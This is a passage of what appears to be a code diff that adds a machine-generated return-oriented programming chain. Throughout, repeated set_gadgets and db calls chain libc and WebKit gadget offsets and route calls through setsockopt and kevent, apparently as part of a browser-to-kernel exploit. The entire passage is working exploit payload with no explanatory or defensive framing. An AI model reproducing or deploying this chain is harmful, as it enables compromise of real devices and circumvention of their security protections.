+libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+333536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+333592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+333720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+333752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+333736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+333912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+333944, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+333896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+333928, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+334024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+334040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+334136, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+334120, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+334240, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+187456, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+334328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+334416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+334432, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+334592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+334624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+334576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+334608, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+334720, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+334704, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+334808, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+334880, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965196, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+334944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+330744, +libc_base+713278, +ropchain+335056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+335144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+335160, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+335304, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+335272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+335288, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+335376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+335432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+335528, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+335624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+335640, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+335728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+335784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+335912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+335944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+335928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+336088, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+336056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+336072, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603896, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+336240, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+336352, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+336336, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+336456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+336472, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+336592, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+336576, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+337920, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +kevent_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+339248, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+339320, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+339384, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+339472, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+339576, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+339664, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+339680, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+339824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+339840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+339808, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+339928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+339944, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+340104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+340136, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+340088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+340120, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+340232, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+340216, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+340336, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+196160, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+340424, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+340512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+340528, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+340672, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+340640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+340656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+340768, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+340824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+340880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([20, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+341032, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([46, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+341232, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+341320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+341336, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+341480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+341496, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+341464, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+341584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+341600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+341760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+341792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+341744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+341776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+341888, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+341872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+341992, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+343232, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+342136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+342152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+342120, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+342280, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+342312, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+342296, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+342424, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+342416, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+342440, +ropchain+342904, +libc_base+388400, +libc_base+713278, +ropchain+342512, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+342672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+342704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+342656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+342688, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+342784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+342800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+342896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+342880, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+342984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+342968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+343088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+343104, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+343224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+343208, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, 